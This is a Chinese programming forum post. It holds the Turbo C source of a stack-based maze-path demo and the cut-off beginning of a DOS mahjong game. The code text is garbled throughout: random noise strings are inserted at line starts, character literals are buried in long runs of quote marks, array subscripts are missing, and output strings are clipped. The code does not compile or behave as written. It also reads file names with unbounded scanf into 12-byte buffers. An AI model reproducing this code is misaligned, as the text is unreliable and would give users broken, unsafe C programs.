C语言技术文章

韩冰

<DIV  align=left>
< align=left>程序目的：
! M8 i& D  V6 \- k" p$ v输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
3 t+ M5 K! @1 p8 a  O9 E显示在屏幕上。
程序实现：
- Q5 ?, k; Z5 C, Z: a1 @" r可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
% T! h! P9 |; \文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
- g. A. L8 S5 B& j1 Z$ I入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
1 A2 y: X( \$ {  l否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
  h5 ~+ P3 \5 {3 ^用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
  S/ y; P9 \* j7 q7 g- M, ~- m' A( ~将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
6 ]$ o* R# X& e) [& z不可以在VC上编译。
: M& M/ t. P$ o8 G/ ]# l下载DOS版和windows版的迷宫游戏全部代码
用户名：migong
----------------------------------------------------------------------------------
% l- G- a- G" b/*
MazePath Demo BY Turbo C 2.0
' r9 `5 X. m% `* C( oCopyright(c) RoverUnion. All right reserved.
Filename: Maze.c
Author Dongchengyu.
Ver 1.10
, e( j4 h' X) a! q*/
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;malloc.h&gt;
#include &lt;conio.h&gt;
#include &lt;dos.h&gt;
#define OK 1
#define ERROR 0
9 w: z& Q1 x: F# i& [6 m7 A#define TRUE 1
#define FALSE 0
#define F9 0x43
#define Esc 0x1b
( ?0 s7 k1 j" f#define Del 0x53
5 \) R2 ?, ~: Z5 R1 H7 a#define Home 0x47
#define End 0x4f
- e3 U# p! W$ H' X#define Space 0x20
#define Up 0x48
- c3 U$ R0 }2 ?# p5 u/ n3 ?#define Down 0x50
#define Left 0x4b
# m: V, C# j2 R9 _5 N6 \#define Right 0x4d
( Z- ~. v" N! `+ i#define Enter 0x0d
% s& {) H$ q' J& O$ e! {#define F2 0x3c
#define F3 0x3d
1 V: s0 J; q" a7 Z, u#define STACK_INIT_SIZE 200
/ Y) k1 m5 b" x# D#define STACKINCREMENT 10
typedef int Boolean;
typedef int Status;
typedef struct {
4 S# \4 R4 v/ eint x;
int y;
} PosType;
typedef struct {
int ord;
PosType seat;
int di;
0 \; h7 z* }1 e( d5 {6 m" x} SElemType;
typedef struct {
7 H2 s. A" g: f. \) |, k# A0 iint td;
6 x4 J7 _% L9 R4 k4 w9 U; }( N( }  nint foot;
int mark;
} MazeType;
typedef struct {
SElemType *base;
SElemType *top;
int stacksize;
} Stack;
0 i1 M! C' a" k: Rint Maze[20][30];
MazeType maze[20][30];
PosType StartPlace;
PosType EndPlace;
int count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
4 J+ R7 v1 ?* BStatus SaveMaze(char *filename);
Status LoadMaze(char *filename);
; C- Z7 E1 R9 E6 x" V& qvoid Error(char *message);
' J' T; ?- @2 Y& `  P$ M+ R: _Status InitStack(Stack *s);
! C! p+ k: r2 B2 _4 dStatus DestroyStack(Stack *s);
" A- h, Z% n3 uStatus ClearStack(Stack *s);
+ U* }$ C0 R6 \# k; _$ oBoolean StackEmpty(Stack *s);
int StackLength(Stack *s);
7 B2 l( G) I* C+ L! X- }/ h4 UStatus Push(Stack *s,SElemType e);
6 M: q0 K, R, s: RSElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
" _% s: M/ r  zStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
9 G3 t; A, {4 a. J4 ~$ K/ g7 \- RBoolean Pass(PosType curpos);
+ U; k) t/ B- z: gvoid MarkPrint(PosType seat);
void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
& s+ `- q: {9 [  M2 avoid CreatMaze(void)
/* Form the maze. */
{
. w2 [( S0 I$ x  Z0 u  }void Error(char *message);
: _$ q( H& M3 H5 Q" {Status SaveMaze(char *filename);
4 j2 I2 U. m! S3 I1 wStatus LoadMaze(char *filename);
/ O( r, t. l3 w# ~) Bint i,j;
int x,y;
8 y/ M2 S  h( ~: T2 }char c;
char savename[12],loadname[12];
9 \6 Y$ M5 N2 o% [+ h2 Z/ CBoolean flag=FALSE,load=FALSE;
$ ^2 B4 W: s% g% D* U$ X$ O9 R3 P1 Fclrscr();
printf("Menu:\n\n");
printf("1.Load Mazefile*.dd)\n\n");
printf("2.Input Maze:\n\n");
( s" F; B4 F( _printf("Input your choice: ");
do
{
c=getch();
switch(c)
, O% s: b% m& D0 A7 o{
; e) S  j: e/ j' ~/ H/ o4 wcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
. ?+ ]  j: H  p/ ?- R- A* I% ^case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
$ p0 t+ I& t' O/ [& X}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
2 g/ e" {8 c3 Y$ w& ?{
% [6 B9 v7 r2 R7 W3 zprintf("\n\nLoadName: ");
& ^( d- H' \' ~) Hscanf("%s",loadname);
- @7 ^2 B) ]( b5 }# @. Z/ f3 Fif(LoadMaze(loadname))
{
sleep(1); load=TRUE;
}
. m- ~; x- h& ]3 eelse { gotoxy(1,9); printf("Load fail! "); }
}
$ c! `4 U, a8 R3 vif(!load)
& [" Q9 g. Q0 o5 P6 i* G' ]/ X{
" U8 W. }: e% D4 K/ H+ aprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
printf("\nInput Length :\n");
scanf("%d",&amp;m);
- Y7 Z2 o4 A. a  o! f5 E! Tprintf("\nInput Width :\n");
6 Q1 i, L; j/ z8 p: m3 f2 C1 [! U- bscanf("%d",&amp;n);
& K% Z$ y: o( U3 K1 Rif(m&lt;4||n&lt;4) Error("Input");
if(m&gt;30||n&gt;20) Error("Maze too large");
for(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
: K3 N" o2 O) FMaze[j]=2;
StartPlace.x=0;
StartPlace.y=0;
" C4 F( X# Q5 oEndPlace.x=0;
EndPlace.y=0;
$ m/ F, w! A4 e5 }6 Yclrscr();
printf("\n");
for(i=1;i&lt;=n;i++)
0 x0 O4 S9 U) |5 Y8 K{
9 r: @* q6 g  ~+ @for(j=1;j&lt;=m;j++)
{
printf(" #");
' w1 n7 C. {+ a; b# PMaze[i-1][j-1]=0;
}
& \# l3 e/ ]* gprintf("\n");
}
" u1 @# c* p3 ?1 Q+ D" ?8 b}
gotoxy(65,5);
+ k& r# t" ], `  u( tprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
7 x3 f; m8 X% P8 J& K2 igotoxy(65,7);
5 Y  @- r2 Z( }5 Cprintf("Start:Home");
4 h! C$ A9 k- }* g/ w8 j$ k9 R8 O4 Pgotoxy(65,9);
" v0 f" t+ _6 b# G3 u0 p8 w: D; tprintf("End:End");
gotoxy(65,11);
1 m+ d/ W9 C9 ]printf("Delete Wallel");
4 }0 i- j5 v4 W3 i( n. Pgotoxy(65,13);
printf("Enter Wall:Enter");
gotoxy(65,15);
5 H* \0 G# e) x9 R% o6 Lprintf("Save Maze:F2");
gotoxy(65,17);
printf("Complete:F9");
2 O( P# D, i5 @- Lgotoxy(65,19);
, t" h9 E3 p2 O8 Zprintf("Exit:Esc");
" P; o' a8 m' Q! [8 F% cgotoxy(4,3);
! r6 s& V; a3 k% X" {* ^x=4;y=3;
do
8 q' ?1 Y* f# ^' i3 ?5 w{
c=getch();
* T7 g: Q) p6 |6 V" jswitch(c)
( z/ C- K! A' d! v8 w, h% @& z5 w  c{
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
break;
  e0 g/ E- L1 B7 o2 Q" ]* ^* R! Scase Down: if(y&lt;n) { y++; gotoxy(x,y); }
6 K6 f" _7 v3 i* Ebreak;
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
break;
& ~4 e" @; q. F3 \' ucase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
0 Q5 `2 z: b' Jbreak;
+ W+ }7 |) ^6 s9 q3 lcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
! Y- Q( C( X- pbreak;
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
6 q. V  y/ Y  x. |( @# cbreak;
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
! \. k# t+ e4 I. A7 u4 }StartPlace.x=x/2-1;
StartPlace.y=y-2;
! E6 J9 A, i; i6 Iputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
, {& O1 N4 a+ z" b$ `gotoxy(x,y);
) h" c# \. I, {- K, j* e; `b_start=TRUE;
}
break;
( B1 C7 p" v8 g7 K: l' I6 ucase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
{
! K- A1 f3 {: I% R: y+ j/ n. wEndPlace.x=x/2-1;
( k6 T$ s# Q- `+ G6 r) ZEndPlace.y=y-2;
8 M+ N% }4 [+ T0 Gputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
7 Q: ]* q% X2 c0 Tgotoxy(x,y);
b_end=TRUE;
$ E# w- K# t# i, ~: Z}
break;
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
$ _: J$ B/ K" Zcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
6 F; ^& Z* @4 s+ @% y3 \9 l" ^case F2: gotoxy(2,22);
% |% e7 A) r5 Gprintf("Savename:");
scanf("%s",savename);
3 H) M, a3 K' e. igotoxy(2,22);
7 b! s$ _, _1 C( W5 i+ ^3 Iif(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
: A4 E) f0 V+ F( c8 ?$ I% F5 W& bsleep(1);
gotoxy(2,22);
3 F: O, g, O5 A4 u* ], l# iprintf(" ");
gotoxy(x,y);
break;
% {  K$ J7 p  f' D6 q6 i7 C/ _default: break;
7 x5 W! W# s3 z4 n  H# B}
7 o  t+ f) E$ p* O* x# \}
while(!flag);
! q- n6 {. ?5 Z  Pfor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
& T& o1 @! E, z4 Y- v9 M) U: [& N" ^{
maze[j].td=Maze[j];
maze[j].mark=0;
maze[j].foot=0;
( L! x$ F* |* K}
}
Status LoadMaze(char *file)
/* The maze has been loaded. */
{
FILE *fp;
char *buffer;
char ch;
int i=0,j,k;
  L  i8 h( M3 m9 g8 X' U! fBoolean len=FALSE,wid=FALSE;
if((fp=fopen(file,"r"))==NULL)
4 _: z/ ~* e( V) M& @return ERROR;
# f% o& C# ]! O& D; H3 J* Ubuffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
while(ch!=EOF)
{
buffer=ch;
i++;
ch=fgetc(fp);
5 n+ N3 a: H# P5 n% ~}
m=30;n=20;
: q2 g* Y+ O1 U; D" \' pfor(i=0;i&lt;600;i++)
{
. A2 p! L  {5 s& m1 n; d0 nj=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
- P, g! |+ H$ }  a% dif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
switch(buffer)
{
4 }' B# J# g' M1 t* y( e) w( p6 zcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
7 a2 a: \. {! Lcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
  S, R" K, F) r4 b- h: b2 bStartPlace.x=k;
5 Z5 ~2 {$ y# `7 PStartPlace.y=j;
b_start=TRUE;
break;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
EndPlace.x=k;
EndPlace.y=j;
b_end=TRUE;
break;
default : break;
}
) {9 S/ `' l5 A) Y# _8 z0 l}
2 O7 O9 U1 ^( c6 \' [/ cfclose(fp);
7 ?) Y" q2 K. _" i5 c. _+ f) R" Eclrscr();
6 v, x* L8 P" V1 C3 w$ mfor(i=0;i&lt;30;i++)
/ p( G, C9 m; e$ _( M  P/ d$ ^, gfor(j=0;j&lt;20;j++)
{
( X8 v* S8 {  x5 ~3 l7 Jmaze[j].td=Maze[j];
- Y# z! ]1 E" u/ Y* l, F: [maze[j].foot=0;
maze[j].mark=0;
3 ?' A: G7 k+ T0 Bif(Maze[j]==0)
{
gotoxy(2*i+2,j+2);
% |; k6 j* H% ~; ?* |7 wputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
2 P2 ^+ P" {! @- A3 @}
/ d1 |* \* Y# w  J& S}
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
5 L3 j6 a# s6 `- b; |putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
3 g$ P( l: w7 N; q& pputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
return OK;
}
! @" m" F6 {3 H/ d  jStatus SaveMaze(char *filename)
/* The maze has been saved. */
{
' T" I' R, {  b6 P. K# m/ EFILE *fp;
char *buffer;
int i,j,k;
9 Y$ E* k6 V, Sfp=fopen(filename,"wb");
buffer=(char *)malloc(600*sizeof(char));
9 L7 @' d) @2 R" E+ q1 L- Afor(i=0;i&lt;600;i++)
{
j=i/30; k=i%30;
switch(Maze[j][k])
{
! C. r% q  N! O. f# j$ mcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
4 j0 i# c) E" J8 vcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
default : Error("Write"); break;
}
& L9 \2 c& J( \4 u7 A' s5 Aif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
3 J7 }/ e. Y3 o$ T8 ?8 m- R& F+ Bfwrite(buffer,600,1,fp);
9 e) X8 X! j; |+ _2 Tfree(buffer);
fclose(fp);
return OK;
- G; j0 o8 a, k0 J}
void Error(char *message)
{
  [# V! U+ X' ^/ s6 Pclrscr();
( v. j4 v4 T2 t3 f$ D8 Wfprintf(stderr,"Error:%s\n",message);
exit(1);
" K4 x+ Q, }  N. I} /* Error */
8 a3 @" I  q/ y) ?7 r
Status InitStack(Stack *s)
/* The stack s has been created and is initialized to be empty. */
$ p, A/ u: W* C' ^, Y8 ^! O, c{
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base;
3 x2 o, D* t2 o6 D$ as-&gt;stacksize=STACK_INIT_SIZE;
* e1 p2 _) c/ r* Xreturn OK;
} /* InitStack */
' s) i0 ^3 f! `; f4 x: ^Status DestroyStack(Stack *s)
: D. |, u2 a1 F. Y! I* V. j+ l' ~/* The stack s has been destroyed. */
2 y' C) S- d. V0 w3 e{
s-&gt;top=NULL;
: A, ^" Y* c! B; T7 T6 S+ |7 |s-&gt;stacksize=0;
free(s-&gt;base);
9 {, q8 O% o6 A- O5 L- M$ g* Ls-&gt;base=NULL;
$ R; Y# ~  M: f- y* B! Sreturn OK;
} /* DestroyStack */
- D# l' A* v) r! `) e6 SStatus ClearStack(Stack *s)
" l. G+ ~$ l+ V) |. o/* The stack has been clear to be maximum. */
{
7 @7 c5 ~. Y$ [0 S: ds-&gt;top=s-&gt;base;
! o9 V+ S% h4 t0 F6 S- t* Ms-&gt;stacksize=STACK_INIT_SIZE;
, P0 c# |) {2 i1 f7 J* a  qreturn OK;
} /* ClearStack */
* A* C, _2 {) f( ?3 u  B. kBoolean StackEmpty(Stack *s)
/* Check if the stack s is empty. */
5 U4 Q8 p# c6 W& D6 X( Y{
if(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
} /* StackEmpty */
int StackLength(Stack *s)
/* Gain the length of the stack s. */
7 D7 r+ }' ~$ B3 l: I{
# v% \" G; O5 L% c+ eif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
else return 0;
} /* StackLength */
$ e' y2 b6 r; A  R; ?6 s/ gStatus Push(Stack *s,SElemType e)
! l2 v% O6 G; o6 h3 a4 }% q/* The element e has been pushed into the stack s. */
; b5 Q4 m: X$ c+ v# k2 |{
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
{
; C' K8 t( A8 ?" ~; m$ Y$ `s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
8 V- Y  D: P4 as-&gt;top=s-&gt;base+s-&gt;stacksize;
s-&gt;stacksize+=STACKINCREMENT;
}
; M4 B( {$ j" {5 A* O7 Z( ?% i*s-&gt;top++=e;
+ V2 u% q& A: ureturn OK;
} /* Push */
SElemType Pop(Stack *s,SElemType e)
  i7 D! g+ \- O/* The element e has been removed from the stack s. */
{
if(s-&gt;top==s-&gt;base) Error("op");
: ]+ |) F& A3 K; h$ Be=*--s-&gt;top;
: |7 \4 j  G  [9 s7 v5 o' Yreturn e;
} /* Pop */
' m( T2 A$ ~3 N/ eStatus GetTop(Stack *s,SElemType *e)
/* The element e has got to the top of the stack s.*/
0 V0 \) A6 V$ Q# X- z  O7 Z2 q' ]) k{
if(s-&gt;top==s-&gt;base) Error("GetTop");
: h0 I) Y) E* j* x  i$ W  ?6 j*e=*(s-&gt;top-1);
/ |3 ^$ G& i. h6 [3 D" vreturn OK;
} /* GetTop */
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
! N: h3 A3 }3 Y2 Z' w' j/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
{
2 m: ]5 a/ N- n+ s& hSElemType p;
int result;
if(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
while(!(p==s-&gt;top))
; v# b( t. Q2 a: K{
result=(*visit)(p);
p++;
}
3 R6 c6 D* f( E7 y: ~8 {return OK;
' J8 @4 [. P& j; Z  ^} */
6 T6 b3 y% b7 C' ~Boolean Pass(PosType curpos)
. ^- [6 ~' Y2 X5 }) c. x/* Check if the current position can be passed. */
{
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
* C6 z8 y$ d2 V' V8 e0 U  w& xmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
return TRUE;
; `: z' P0 H% o% Qelse return FALSE;
! u! }5 A( V9 t) q! A} /* Pass */
7 O( D# m+ m* x5 Svoid MarkPrint(PosType seat)
9 a* a1 u8 v5 U! F% H/* Mark the position seat. */
{
" ]! o% C( \7 L% \maze[seat.x][seat.y].mark=-1;
3 C/ P& F$ o6 g$ g) K1 u/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
2 q/ h5 h% }6 M& l  H, Q* J' D} /* MarkPrint */
+ B% s% z( D+ n% h% Zvoid FootPrint(PosType curpos)
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
$ W  j3 P7 Y# h# a( F: W2 {{
maze[curpos.x][curpos.y].foot=1;
/ q& e" @7 |+ o} /* FootPrint */
+ t" ?3 c/ \- _: c2 @1 c# l! \PosType NextPos(PosType seat,int di)
{
switch(di)
% Y4 V1 k5 N3 n6 x{
3 D, |2 K  W' I/ g5 `4 z/ I0 ecase 1: seat.y++; return seat; /* Eastward */
4 M. t: V+ }" \  [case 2: seat.x++; return seat; /* Southward */
case 3: seat.y--; return seat; /* Westward */
" B' d6 ?& ~$ t0 `& R4 B' P  Ncase 4: seat.x--; return seat; /* Northward */
default: seat.x=0; seat.y=0; return seat;
}
} /* NextPos */

% v- s( Z5 S6 M* M" r/* The key to the program. */
6 O0 W3 r' h4 h$ ~; W/ i/ B; m" P& R/* Pre: The maze array &amp; the startplace &amp; the endplace.
& O+ j) A( K5 L0 @1 r% gPost: Find the one traverse of the maze and perform the mazepath.
Uses: The ADT stack class.
*/
Status MazePath(PosType start,PosType end)
{
' _& l4 O' Q* x, w6 t" l  A% IPosType curpos;
int curstep;
- X, t" n9 f! R: e% hSElemType e;
Stack *s,stack;
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
, l4 G. D) s5 U, M+ J  }; z% qstack.top=stack.base;
+ E0 ]; }5 w  f' F# d7 D' p2 }stack.stacksize=STACK_INIT_SIZE;
0 @; _# o( g9 X% R6 Q7 }+ x) hs=&amp;stack;
curpos=start;
! Z1 F- }0 Z0 u: [, w: W- E/ d; scurstep=1;
do
{
if(Pass(curpos))
8 @3 R9 O+ m" R/ P7 {5 s8 u* k{
FootPrint(curpos);
4 M: ~$ o' y# n/ o+ o- U% ~! Xe.ord=curstep; e.seat=curpos; e.di=1;
, u1 e: B' o) ]. _9 v6 w7 ygotoxy((curpos.y+1)*2,curpos.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
7 A# d- T& v. b  e7 j0 idelay(8000); /* pospone time. */
( f" [3 {4 h% r% v3 q, GPush(s,e);
( v: p  h8 V# |/ N; Qif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
0 E" _( p+ n2 E% ?{
DestroyStack(s);
/ J0 U2 M0 t) B0 ?, t; c  d$ Ereturn TRUE;
) X, K/ ~( A, E$ I- ]; Z}
curpos=NextPos(curpos,1); /* Try next position. */
/ R: \0 R4 E; W  b3 C8 s  \" d4 A, ~curstep++;
# J7 G5 K$ b* z) q( ~( l' d}
else
{
; R/ T0 i. b0 H3 l: |1 _if(!StackEmpty(s))
6 j, H* e1 R4 E. @" u5 k  j" k  j{
e=Pop(s,e); /* Removed e from s. */
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
{
MarkPrint(e.seat);
# B6 B% m# e4 E9 ^3 ]gotoxy((e.seat.y+1)*2,e.seat.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* Pospone time. */
gotoxy((e.seat.y+1)*2,e.seat.x+2);
  i5 p% ]: g3 j; E+ eputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
e=Pop(s,e); /* Remove e from s. */
; c# L) w  g. u' Hcurstep--;
$ t+ v- ^* U* Q. U8 ]}
if(e.di&lt;4) /* The current position hasnot been checked. */
8 K4 o! T0 L  `( ^% Q6 z8 w' w1 O{
e.di++;
  A( O$ l) x, u+ A$ p" u. y( VPush(s,e); /* Insert e into s. */
/ K* H+ C- V% q/ x# v( _' }curpos=NextPos(e.seat,e.di); /* Try next position. */
- f7 |# C" x& ^; w3 A" \1 Q/ Q}
}
}
}
% Y' D8 w+ q; @, Q# k; Uwhile(!StackEmpty(s));
DestroyStack(s);
# T, x* i. A5 W! m+ V) Xreturn FALSE;
} /* MazePath */
$ L% h+ @4 K  y# j! ivoid main()
{
PosType start,end;
CreatMaze();
4 L7 b# c0 Z* E6 w- Tstart.x=StartPlace.y;
6 ?) a0 Y; h. s2 ~start.y=StartPlace.x;
8 H" L  I7 S8 {4 `2 r% H; aend.x=EndPlace.y;
' @5 {+ R5 W1 Z5 v, U# v+ z8 }: Aend.y=EndPlace.x;
if(MazePath(start,end))
0 }" |0 V2 S2 g* R" Q2 f3 b{
gotoxy(2,22);
: k" q' T6 m7 Z$ v: sprintf("ath found\n");
}
/ U5 {4 O+ G- Z# E3 j" jelse
, w/ r8 T7 F' g{
) v; q" c2 l+ u! _( b; z+ zgotoxy(2,22);
$ a. q  f, @  P/ Tprintf("ath not found\n");
}
getch();
clrscr();
* j/ r$ F7 w$ c} </P></DIV>

韩冰

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
/*天宇软件
8 U0 K' T, O; I9 s0 ]; _. a作者：上海黑暗之龙
2002/10/30
麻将原代码*/
#include "dos.h"
#include "stdio.h"
#include "graphics.h"
#include "bios.h"
#include "conio.h"
6 b% k) d2 t' }#include "stdlib.h"
: E$ v4 V' R8 ~, w6 I6 _unsigned char far *video_buffer=(char far *)0xA0000000L;
#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
9 y! X. {6 o' a3 ~#define SETVGA Set_Video_Mode(VGA256)
#define OUTVGA Set_Video_Mode(TEXT_MODE)
#define BYTE unsigned char
/ E, _3 q; v/ G# M0 ~/ X#define WORD unsigned int
4 g2 e- ^* Q  s' q% e0 a" F#define DWORD unsigned int
#define ESC 283
9 o9 S3 s; d* l' }3 ^% G) ]#define LEFT 19200
#define RIGHT 19712
$ Z0 j( E. v' ?  y  V' G8 g3 {#define H 9064
#define ENTER 7181
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
struct chi
{
int lg;
6 _; t: E5 S; T. t% s9 T9 dint lgg;
1 G$ U" ]$ u. z+ z' Z% l}ch[13];
1 S- O- ^0 R! V( rstruct mj
  C  Q" R2 r) |# m5 N! M  _{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
0 B1 r) q* C( T% q5 R0 [6 Q: d  e}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
. X! I, ?' g3 c2 E" Z8 F"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
2 L3 n. b$ l4 e7 Y" l* N: ]* S  l"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
3 `4 `* z3 m7 j% O"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
( T# O: H" T' f: |1 v1 k"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
0 u, [8 P! j3 J* x$ j# p8 C"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
! N, f/ S2 f( p& w* f0 T" k/ C"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
- ]! G7 m9 C8 @8 ^. u6 X"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
